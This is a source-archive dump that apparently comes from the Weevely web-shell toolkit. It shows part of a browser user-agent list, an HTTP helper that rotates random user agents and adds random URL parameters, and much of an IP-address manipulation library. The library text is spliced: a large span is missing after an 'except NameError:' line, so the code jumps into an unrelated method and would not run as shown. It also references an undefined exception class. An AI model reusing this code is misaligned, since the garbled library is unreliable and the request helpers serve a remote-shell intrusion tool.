AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; da-DK) AppleWebKit/523.12.9 (KHTML, like Gecko) Version/3.0 Safari/523.12.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0.4 Safari/523.11 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-gb) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-es) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; fi) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-ch) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/523.13 (KHTML, like Gecko) Version/3.0 Safari/523.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr-FR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Gecko) Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ epinna-weevely3-445bd88/utils/http.py000066400000000000000000000024351444353330400175710ustar00rootroot00000000000000from core.weexceptions import FatalException from core import messages from core import config import random import string import utils import urllib.request, urllib.error, urllib.parse import os agents_list_path = 'utils/_http/user-agents.txt' def load_all_agents(): try: with open( os.path.join(config.weevely_path, agents_list_path) ) as agents_file: return agents_file.read().split('\n') except Exception as e: raise FatalException( messages.generic.error_loading_file_s_s % (agents_list_path, str(e))) def add_random_url_param(url): random_param = '%s=%s' % ( utils.strings.randstr( n = 4, fixed = False, charset = string.ascii_letters ), utils.strings.randstr( n = 10, fixed = False ) ) if '?' not in url: url += '?%s' % random_param else: url += '&%s' % random_param return url def request(url, headers = []): if not next((x for x in headers if x[0] == 'User-Agent'), False): headers = [ ('User-Agent', random.choice(load_all_agents())) ] opener = urllib.request.build_opener() opener.addheaders = headers return opener.open(url).read() epinna-weevely3-445bd88/utils/ipaddr.py000066400000000000000000001562641444353330400200670ustar00rootroot00000000000000#!/usr/bin/python3 # # Copyright 2007 Google Inc. # Licensed to PSF under a Contributor Agreement. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. See the License for the specific language governing # permissions and limitations under the License. """A fast, lightweight IPv4/IPv6 manipulation library in Python. This library is used to create/poke/manipulate IPv4 and IPv6 addresses and networks. """ __version__ = '2.0.0' import struct class Error(Exception): """Base class for exceptions.""" class IPTypeError(Error): """Tried to perform a v4 action on v6 object or vice versa.""" class IPAddressExclusionError(Error): """An Error we should never see occurred in address exclusion.""" class IPAddressIPValidationError(Error): """Raised when a single address (v4 or v6) was given a network.""" def __init__(self, ip): Error.__init__(self) self._ip = ip def __str__(self): return "%s is not a valid address (hint, it's probably a network)" % ( repr(self._ip)) class IPv4IpValidationError(Error): """Raised when an IPv4 address is invalid.""" def __init__(self, ip): Error.__init__(self) self._ip = ip def __str__(self): return repr(self._ip) + ' is not a valid IPv4 address' class IPv4NetmaskValidationError(Error): """Raised when a netmask is invalid.""" def __init__(self, netmask): Error.__init__(self) self.netmask = netmask def __str__(self): return repr(self.netmask) + ' is not a valid IPv4 netmask' class IPv6IpValidationError(Error): """Raised when an IPv6 address is invalid.""" def __init__(self, ip): Error.__init__(self) self._ip = ip def __str__(self): return repr(self._ip) + ' is not a valid IPv6 network' class IPv6NetmaskValidationError(Error): """Raised when an IPv6 netmask is invalid.""" def __init__(self, netmask): Error.__init__(self) self.netmask = netmask def __str__(self): return repr(self.netmask) + ' is not a valid IPv6 netmask' class PrefixlenDiffInvalidError(Error): """Raised when Sub/Supernets is called with a bad prefixlen_diff.""" def __init__(self, error_str): Error.__init__(self) self.error_str = error_str def IPAddress(address, version=None): """Take an IP string/int and return an object of the correct type. Args: address: A string or integer, the IP address. Either IPv4 or IPv6 addresses may be supplied; integers less than 2**32 will be considered to be IPv4 by default. version: An Integer, 4 or 6. If set, don't try to automatically determine what the IP address type is. important for things like IPAddress(1), which could be IPv4, '0.0.0.0.1', or IPv6, '::1'. Returns: An IPv4Address or IPv6Address object. Raises: ValueError: if the string passed isn't either a v4 or a v6 address. """ if version: if version == 4: return IPv4Address(address) elif version == 6: return IPv6Address(address) try: return IPv4Address(address) except (IPv4IpValidationError, IPv6NetmaskValidationError): pass try: return IPv6Address(address) except (IPv6ValidationError, IPv6NetmaskValidationError): pass raise ValueError('%r does not appear to be an IPv4 or IPv6 address' % address) def IPNetwork(address, version=None): """Take an IP string/int and return an object of the correct type. Args: address: A string or integer, the IP address. Either IPv4 or IPv6 addresses may be supplied; integers less than 2**32 will be considered to be IPv4 by default. version: An Integer, if set, don't try to automatically determine what the IP address type is. important for things like IPNetwork(1), which could be IPv4, '0.0.0.1/32', or IPv6, '::1/128'. Returns: An IPv4Network or IPv6Network object. Raises: ValueError: if the string passed isn't either a v4 or a v6 address. """ if version: if version == 4: return IPv4Network(address) elif version == 6: return IPv6Network(address) try: return IPv4Network(address) except (IPv4IpValidationError, IPv4NetmaskValidationError): pass try: return IPv6Network(address) except (IPv6IpValidationError, IPv6NetmaskValidationError): pass raise ValueError('%r does not appear to be an IPv4 or IPv6 network' % address) def _find_address_range(addresses): """Find a sequence of addresses. Args: addresses: a list of IPv4 or IPv6 addresses. Returns: A tuple containing the first and last IP addresses in the sequence. """ first = last = addresses[0] for ip in addresses[1:]: if ip._ip == last._ip + 1: last = ip else: break return (first, last) def _get_prefix_length(number1, number2, bits): """Get the number of leading bits that are same for two numbers. Args: number1: an integer. number2: another integer. bits: the maximum number of bits to compare. Returns: The number of leading bits that are the same for two numbers. """ for i in range(bits): if number1 >> i == number2 >> i: return bits - i return 0 def _count_righthand_zero_bits(number, bits): """Count the number of zero bits on the right hand side. Args: number: an integer. bits: maximum number of bits to count. Returns: The number of zero bits on the right hand side of the number. """ if number == 0: return bits for i in range(bits): if (number >> i) % 2: return i def summarize_address_range(first, last): """Summarize a network range given the first and last IP addresses. Example: >>> summarize_address_range(IPv4Address('1.1.1.0'), IPv4Address('1.1.1.130')) [IPv4Network('1.1.1.0/25'), IPv4Network('1.1.1.128/31'), IPv4Network('1.1.1.130/32')] Args: first: the first IPv4Address or IPv6Address in the range. last: the last IPv4Address or IPv6Address in the range. Returns: The address range collapsed to a list of IPv4Network's or IPv6Network's. Raise: IPTypeError: If the first and last objects are not IP addresses. If the first and last objects are not the same version. ValueError: If the last object is not greater than the first. If the version is not 4 or 6. """ if not (isinstance(first, BaseIP) and isinstance(last, BaseIP)): raise IPTypeError('first and last must be IP addresses, not networks') if first.version != last.version: raise IPTypeError('IP addresses must be same version') if first > last: raise ValueError('last IP address must be greater than first') networks = [] if first.version == 4: ip = IPv4Network elif first.version == 6: ip = IPv6Network else: raise ValueError('unknown IP version') ip_bits = first._max_prefixlen first_int = first._ip last_int = last._ip while first_int <= last_int: nbits = _count_righthand_zero_bits(first_int, ip_bits) current = None while nbits >= 0: addend = 2**nbits - 1 current = first_int + addend nbits -= 1 if current <= last_int: break prefix = _get_prefix_length(first_int, current, ip_bits) net = ip('%s/%d' % (str(first), prefix)) networks.append(net) if current == ip._ALL_ONES: break first_int = current + 1 first = IPAddress(first_int, version=first._version) return networks def _collapse_address_list_recursive(addresses): """Loops through the addresses, collapsing concurrent netblocks. Example: ip1 = IPv4Network'1.1.0.0/24') ip2 = IPv4Network'1.1.1.0/24') ip3 = IPv4Network'1.1.2.0/24') ip4 = IPv4Network'1.1.3.0/24') ip5 = IPv4Network'1.1.4.0/24') ip6 = IPv4Network'1.1.0.1/22') _collapse_address_list_recursive([ip1, ip2, ip3, ip4, ip5, ip6]) -> [IPv4Network('1.1.0.0/22'), IPv4Network('1.1.4.0/24')] This shouldn't be called directly; it is called via collapse_address_list([]). Args: addresses: A list of IPv4Network's or IPv6Network's Returns: A list of IPv4Network's or IPv6Network's depending on what we were passed. """ ret_array = [] optimized = False for cur_addr in addresses: if not ret_array: ret_array.append(cur_addr) continue if cur_addr in ret_array[-1]: optimized = True elif cur_addr == ret_array[-1].supernet().subnet()[1]: ret_array.append(ret_array.pop().supernet()) optimized = True else: ret_array.append(cur_addr) if optimized: return _collapse_address_list_recursive(ret_array) return ret_array def collapse_address_list(addresses): """Collapse a list of IP objects. Example: collapse_address_list([IPv4('1.1.0.0/24'), IPv4('1.1.1.0/24')]) -> [IPv4('1.1.0.0/23')] Args: addresses: A list of IPv4Network or IPv6Network objects. Returns: A list of IPv4Network or IPv6Network objects depending on what we were passed. Raises: IPTypeError: If passed a list of mixed version objects. """ i = 0 addrs = [] ips = [] nets = [] # split IP addresses and networks for ip in addresses: if isinstance(ip, BaseIP): if ips and ips[-1]._version != ip._version: raise IPTypeError('Can only collapse like-versioned objects -' ' v%d: %s, v%d %s' % (ips[-1]._version, str(ips[-1]), ip._version, str(ip))) ips.append(ip) elif ip._prefixlen == ip._max_prefixlen: if ips and ips[-1]._version != ip._version: raise IPTypeError('Can only collapse like-versioned objects -' ' v%d: %s, v%d %s' % (ips[-1]._version, str(ips[-1]), ip._version, str(ip))) ips.append(ip.ip) else: if nets and nets[-1]._version != ip._version: raise IPTypeError('Can only collapse like-versioned objects -' ' v%d: %s, v%d %s' % (ips[-1]._version, str(ips[-1]), ip._version, str(ip))) nets.append(ip) # sort and dedup ips = sorted(set(ips)) nets = sorted(set(nets)) while i < len(ips): (first, last) = _find_address_range(ips[i:]) i = ips.index(last) + 1 addrs.extend(summarize_address_range(first, last)) return _collapse_address_list_recursive(sorted( addrs + nets, key=BaseNet._get_networks_key)) # backwards compatibility CollapseAddrList = collapse_address_list # Test whether this Python implementation supports byte objects that # are not identical to str ones. # We need to exclude platforms where bytes == str so that we can # distinguish between packed representations and strings, for example # b'12::' (the IPv4 address 49.50.58.58) and '12::' (an IPv6 address). try: _compat_has_real_bytes = bytes is not str except NameError: # other._version if self._ip != other._ip: return self._ip > other._ip return False def __repr__(self): return '%s(%r)' % (self.__class__.__name__, str(self)) def __str__(self): return '%s' % self._string_from_ip_int(self._ip) def __hash__(self): return hash(self._ip) @property def version(self): raise NotImplementedError('BaseIP has no version') class BaseNet(IPAddrBase): """A generic IP object. This IP class contains the version independent methods which are used by networks. """ def __init__(self, address): self._cache = {} def __repr__(self): return '%s(%r)' % (self.__class__.__name__, str(self)) def iterhosts(self): """Generate Iterator over usable hosts in a network. This is like __iter__ except it doesn't return the network or broadcast addresses. """ cur = int(self.network) + 1 bcast = int(self.broadcast) - 1 while cur <= bcast: cur += 1 yield IPAddress(cur - 1, version=self._version) def __iter__(self): cur = int(self.network) bcast = int(self.broadcast) while cur <= bcast: cur += 1 yield IPAddress(cur - 1, version=self._version) def __getitem__(self, n): network = int(self.network) broadcast = int(self.broadcast) if n >= 0: if network + n > broadcast: raise IndexError return IPAddress(network + n, version=self._version) else: n += 1 if broadcast + n < network: raise IndexError return IPAddress(broadcast + n, version=self._version) def __lt__(self, other): try: if self._version != other._version: return self._version < other._version if self._ip != other._ip: return self._ip < other._ip if self.netmask != other.netmask: return self.netmask < other.netmask return False except AttributeError: return NotImplemented def __gt__(self, other): try: if self._version != other._version: return self._version > other._version if self._ip != other._ip: return self._ip > other._ip if self.netmask != other.netmask: return self.netmask > other.netmask return False except AttributeError: return NotImplemented def __le__(self, other): gt = self.__gt__(other) if gt is NotImplemented: return NotImplemented return not gt def __ge__(self, other): lt = self.__lt__(other) if lt is NotImplemented: return NotImplemented return not lt def __eq__(self, other): try: return (self._version == other._version and self._ip == other._ip and int(self.netmask) == int(other.netmask)) except AttributeError: return NotImplemented def __ne__(self, other): eq = self.__eq__(other) if eq is NotImplemented: return NotImplemented return not eq def __str__(self): return '%s/%s' % (str(self.ip), str(self._prefixlen)) def __hash__(self): return hash(self._ip ^ int(self.netmask)) def __contains__(self, other): # Easy case, dealing with networks. if isinstance(other, BaseNet): return (int(self.network) <= int(other._ip) and int(self.broadcast) >= int(other.broadcast)) elif isinstance(other, BaseIP): # Check if we've got an Address return (int(self.network) <= int(other._ip) <= int(self.broadcast)) else: return IPNetwork(other) in self @property def network(self): x = self._cache.get('network') if x is None: x = IPAddress(self._ip & int(self.netmask), version=self._version) self._cache['network'] = x return x @property def broadcast(self): x = self._cache.get('broadcast') if x is None: x = IPAddress(self._ip | int(self.hostmask), version=self._version) self._cache['broadcast'] = x return x @property def hostmask(self): x = self._cache.get('hostmask') if x is None: x = IPAddress(int(self.netmask) ^ self._ALL_ONES, version=self._version) self._cache['hostmask'] = x return x @property def with_prefixlen(self): return '%s/%d' % (str(self.ip), self._prefixlen) @property def with_netmask(self): return '%s/%s' % (str(self.ip), str(self.netmask)) @property def with_hostmask(self): return '%s/%s' % (str(self.ip), str(self.hostmask)) @property def numhosts(self): """Number of hosts in the current subnet.""" return int(self.broadcast) - int(self.network) + 1 @property def version(self): raise NotImplementedError('BaseNet has no version') @property def prefixlen(self): return self._prefixlen def address_exclude(self, other): """Remove an address from a larger block. For example: addr1 = IP('10.1.1.0/24') addr2 = IP('10.1.1.0/26') addr1.address_exclude(addr2) = [IP('10.1.1.64/26'), IP('10.1.1.128/25')] or IPv6: addr1 = IP('::1/32') addr2 = IP('::1/128') addr1.address_exclude(addr2) = [IP('::0/128'), IP('::2/127'), IP('::4/126'), IP('::8/125'), ... IP('0:0:8000::/33')] Args: other: An IP object of the same type. Returns: A sorted list of IP objects addresses which is self minus other. Raises: IPTypeError: If self and other are of difffering address versions. IPAddressExclusionError: There was some unknown error in the address exclusion process. This likely points to a bug elsewhere in this code. ValueError: If other is not completely contained by self. """ if not self._version == other._version: raise IPTypeError("%s and %s aren't of the same version" % ( str(self), str(other))) if other not in self: raise ValueError('%s not contained in %s' % (str(other), str(self))) ret_addrs = [] # Make sure we're comparing the network of other. other = IPNetwork('%s/%s' % (str(other.network), str(other.prefixlen)), version=other._version) s1, s2 = self.subnet() while s1 != other and s2 != other: if other in s1: ret_addrs.append(s2) s1, s2 = s1.subnet() elif other in s2: ret_addrs.append(s1) s1, s2 = s2.subnet() else: # If we got here, there's a bug somewhere. raise IPAddressExclusionError('Error performing exclusion: ' 's1: %s s2: %s other: %s' % (str(s1), str(s2), str(other))) if s1 == other: ret_addrs.append(s2) elif s2 == other: ret_addrs.append(s1) else: # If we got here, there's a bug somewhere. raise IPAddressExclusionError('Error performing exclusion: ' 's1: %s s2: %s other: %s' % (str(s1), str(s2), str(other))) return sorted(ret_addrs, key=BaseNet._get_networks_key) def compare_networks(self, other): """Compare two IP objects. This is only concerned about the comparison of the integer representation of the network addresses. This means that the host bits aren't considered at all in this method. If you want to compare host bits, you can easily enough do a 'HostA._ip < HostB._ip' Args: other: An IP object. Returns: If the IP versions of self and other are the same, returns: -1 if self < other: eg: IPv4('1.1.1.0/24') < IPv4('1.1.2.0/24') IPv6('1080::200C:417A') < IPv6('1080::200B:417B') 0 if self == other eg: IPv4('1.1.1.1/24') == IPv4('1.1.1.2/24') IPv6('1080::200C:417A/96') == IPv6('1080::200C:417B/96') 1 if self > other eg: IPv4('1.1.1.0/24') > IPv4('1.1.0.0/24') IPv6('1080::1:200C:417A/112') > IPv6('1080::0:200C:417A/112') If the IP versions of self and other are different, returns: -1 if self._version < other._version eg: IPv4('10.0.0.1/24') < IPv6('::1/128') 1 if self._version > other._version eg: IPv6('::1/128') > IPv4('255.255.255.0/24') """ if self._version < other._version: return -1 if self._version > other._version: return 1 # self._version == other._version below here: if self.network < other.network: return -1 if self.network > other.network: return 1 # self.network == other.network below here: if self.netmask < other.netmask: return -1 if self.netmask > other.netmask: return 1 # self.network == other.network and self.netmask == other.netmask return 0 def _get_networks_key(self): """Network-only key function. Returns an object that identifies this address' network and netmask. This function is a suitable "key" argument for sorted() and list.sort(). """ return (self._version, self.network, self.netmask) def _ip_int_from_prefix(self, prefixlen=None): """Turn the prefix length netmask into a int for comparison. Args: prefixlen: An integer, the prefix length. Returns: An integer. """ if not prefixlen and prefixlen != 0: prefixlen = self._prefixlen return self._ALL_ONES ^ (self._ALL_ONES >> prefixlen) def _prefix_from_ip_int(self, ip_int, mask=32): """Return prefix length from the decimal netmask. Args: ip_int: An integer, the IP address. mask: The netmask. Defaults to 32. Returns: An integer, the prefix length. """ while mask: if ip_int & 1 == 1: break ip_int >>= 1 mask -= 1 return mask def _ip_string_from_prefix(self, prefixlen=None): """Turn a prefix length into a dotted decimal string. Args: prefixlen: An integer, the netmask prefix length. Returns: A string, the dotted decimal netmask string. """ if not prefixlen: prefixlen = self._prefixlen return self._string_from_ip_int(self._ip_int_from_prefix(prefixlen)) def subnet(self, prefixlen_diff=1, new_prefix=None): """The subnets which join to make the current subnet. In the case that self contains only one IP (self._prefixlen == 32), return a list with just ourself. Args: prefixlen_diff: An integer, the amount the prefix length should be increased by. This should not be set if new_prefix is also set. new_prefix: The desired new prefix length. This must be a larger number (smaller prefix) than the existing prefix. This should not be set if prefixlen_diff is also set. Returns: A list of IPv6 objects. Raises: PrefixlenDiffInvalidError: The prefixlen_diff is too small or too large. ValueError: prefixlen_diff and new_prefix are both set or new_prefix is a smaller number than the current prefix (smaller number means a larger network) """ if self._prefixlen == self._max_prefixlen: return [self] if new_prefix is not None: if new_prefix < self._prefixlen: raise ValueError('new prefix must be longer') if prefixlen_diff != 1: raise ValueError('cannot set prefixlen_diff and new_prefix') prefixlen_diff = new_prefix - self._prefixlen if prefixlen_diff < 0: raise PrefixlenDiffInvalidError('prefix length diff must be > 0') new_prefixlen = self._prefixlen + prefixlen_diff if not self._is_valid_netmask(str(new_prefixlen)): raise PrefixlenDiffInvalidError( 'prefix length diff %d is invalid for netblock %s' % ( new_prefixlen, str(self))) first = IPNetwork('%s/%s' % (str(self.network), str(self._prefixlen + prefixlen_diff)), version=self._version) subnets = [first] current = first while True: broadcast = current.broadcast if broadcast == self.broadcast: break new_addr = IPAddress(int(broadcast) + 1, version=self._version) current = IPNetwork('%s/%s' % (str(new_addr), str(new_prefixlen)), version=self._version) subnets.append(current) return subnets def supernet(self, prefixlen_diff=1, new_prefix=None): """The supernet containing the current network. Args: prefixlen_diff: An integer, the amount the prefix length of the network should be decreased by. For example, given a /24 network and a prefixlen_diff of 3, a supernet with a /21 netmask is returned. Returns: An IPv4 network object. Raises: PrefixlenDiffInvalidError: If self.prefixlen - prefixlen_diff < 0. I.e., you have a negative prefix length. ValueError: prefixlen_diff and new_prefix are both set or new_prefix is a larger number than the current prefix (larger number means a smaller network) """ if self._prefixlen == 0: return self if new_prefix is not None: if new_prefix > self._prefixlen: raise ValueError('new prefix must be shorter') if prefixlen_diff != 1: raise ValueError('cannot set prefixlen_diff and new_prefix') prefixlen_diff = self._prefixlen - new_prefix if self.prefixlen - prefixlen_diff < 0: raise PrefixlenDiffInvalidError( 'current prefixlen is %d, cannot have a prefixlen_diff of %d' % (self.prefixlen, prefixlen_diff)) return IPNetwork('%s/%s' % (str(self.network), str(self.prefixlen - prefixlen_diff)), version=self._version) # backwards compatibility Subnet = subnet Supernet = supernet AddressExclude = address_exclude CompareNetworks = compare_networks Contains = __contains__ class BaseV4(object): """Base IPv4 object. The following methods are used by IPv4 objects in both single IP addresses and networks. """ # Equivalent to 255.255.255.255 or 32 bits of 1's. _ALL_ONES = (2**32) - 1 def __init__(self, address): self._version = 4 self._max_prefixlen = 32 def _explode_shorthand_ip_string(self, ip_str=None): if not ip_str: ip_str = str(self) return ip_str def _ip_int_from_string(self, ip_str): """Turn the given IP string into an integer for comparison. Args: ip_str: A string, the IP ip_str. Returns: The IP ip_str as an integer. """ packed_ip = 0 for oc in ip_str.split('.'): packed_ip = (packed_ip << 8) | int(oc) return packed_ip def _string_from_ip_int(self, ip_int): """Turns a 32-bit integer into dotted decimal notation. Args: ip_int: An integer, the IP address. Returns: The IP address as a string in dotted decimal notation. """ octets = [] for _ in range(4): octets.insert(0, str(ip_int & 0xFF)) ip_int >>= 8 return '.'.join(octets) def _is_valid_ip(self, ip_str): """Validate the dotted decimal notation IP/netmask string. Args: ip_str: A string, the IP ip_str. Returns: A boolean, True if the string is a valid dotted decimal IP string. """ octets = ip_str.split('.') if len(octets) == 1: # We have an integer rather than a dotted decimal IP. try: return int(ip_str) >= 0 and int(ip_str) <= self._ALL_ONES except ValueError: return False if len(octets) != 4: return False for octet in octets: try: if not 0 <= int(octet) <= 255: return False except ValueError: return False return True @property def max_prefixlen(self): return 